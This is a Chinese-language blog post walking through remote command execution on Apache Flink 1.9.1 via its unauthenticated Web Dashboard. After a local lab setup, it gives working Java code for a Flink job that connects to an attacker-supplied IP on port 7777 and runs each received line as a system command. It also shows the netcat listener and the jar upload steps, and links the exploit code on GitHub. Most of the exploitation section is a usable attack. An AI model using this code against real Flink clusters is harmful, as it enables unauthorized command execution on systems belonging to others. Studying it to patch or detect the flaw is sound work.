Apache Flink 上传漏洞所导致的命令执行

0nise  1847天前

简介

Flink 核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink 提供了诸多更高抽象层的 API 以便用户编写分布式任务:

  • DataSet API: 对静态数据进行批处理操作,将静态数据抽象成分布式的数据集,用户可以方便地使用Flink提供的各种操作符对分布式数据集进行处理,支持Java、Scala和Python。

  • DataStream API: 对数据流进行流处理操作,将流式的数据抽象成分布式的数据流,用户可以方便地对分布式数据流进行各种操作,支持Java和Scala。

  • Table API:对结构化数据进行查询操作,将结构化数据抽象成关系表,并通过类SQL的DSL对关系表进行各种查询操作,支持Java和Scala。

漏洞情况

本次漏洞情况是由于 Apache Flink Web Dashboard 未授权访问,上传恶意jar导致远程代码命令执行。

搭建环境

环境要求:JDK 8官网下载地址:http://flink.apache.org/downloads.html 或者通过wget进行下载:wget https://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

然后进行解压:tar zxvf flink-1.9.1-bin-scala_2.11.tgz

然后启动:

cd f flink-1.9.1-bin-scala_2.11/bin
./start-cluster.sh

最后访问本机:http://localhost:8081/ 如果可以正常访问表示安装成功。

7.png

漏洞利用

Flink 可以通过上传 jar 的方式来进行执行任务,我们可以构造利用代码进行上传执行。

添加 Archetype

1.png

添加 Archetype:

  • GroupId:org.apache.flink
  • ArtifactId:flink-quickstart-java
  • Version:1.9.0

创建任务项目

基于添加的flink-quickstart-java 进行创建项目,然后点击 Next

基于添加的`flink-quickstart-java` 进行创建项目

设置项目GroupId以及ArtifactId,然后点击 Next

设置项目`GroupId`以及`ArtifactId`

配置项目maven,然后点击 Next

配置项目maven

设置项目名称以及项目路径,然后点击Finish

设置项目名称以及项目路径,然后点击`Finish`

项目创建成功:

6.png

编写任务

创建 SocketTextStreamExecute 类写入一下代码

    public static void main(String[] args) throws Exception {
        final StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
        DataStreamSource<String> stream = env.socketTextStream("ip", 7777);
        stream.flatMap(new LineSplitter());
        env.execute("execute code");
    }

    public static final class LineSplitter implements FlatMapFunction<String, Tuple2<String, Integer>> {

        @Override
        public void flatMap(String s, Collector<Tuple2<String, Integer>> collector) {
            String[] tokens = s.toLowerCase().split("\\W+");
            for (String token : tokens) {
                if (token.length() > 0) {
                    try {
                        Process p = Runtime.getRuntime().exec(token);
                        //取得命令结果的输出流
                        InputStream fis=p.getInputStream();
                        //用一个读输出流类去读
                        InputStreamReader isr=new InputStreamReader(fis);
                        //用缓冲器读行
                        BufferedReader br=new BufferedReader(isr);
                        String line=null;
                        //直到读完为止
                        while((line=br.readLine())!=null)
                        {
                            System.out.println(line);
                        }
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    System.out.println("token --> "+token);
                }
            }
        }
    }

最后通过 mvn clean package -DskipTests 将代码编译为 jar 文件。

执行任务

开启NC 监听端口

nc -nlvp 7777

将 jar 通过web上传到任务中心,然后将Entity Class 修改为 com.r4v3zn.SocketTextStreamExecute 点击 Submit 进行执行任务。

8.png

执行任务之后,我们监听到 NC 端口将响应信息:

9.png

执行命令 ifconfig 之后通过日志进行查看执行结果。

10.png

代码

代码:https://github.com/0nise/sc ripts/tree/master/flinkrce

最新评论

昵称
邮箱
提交评论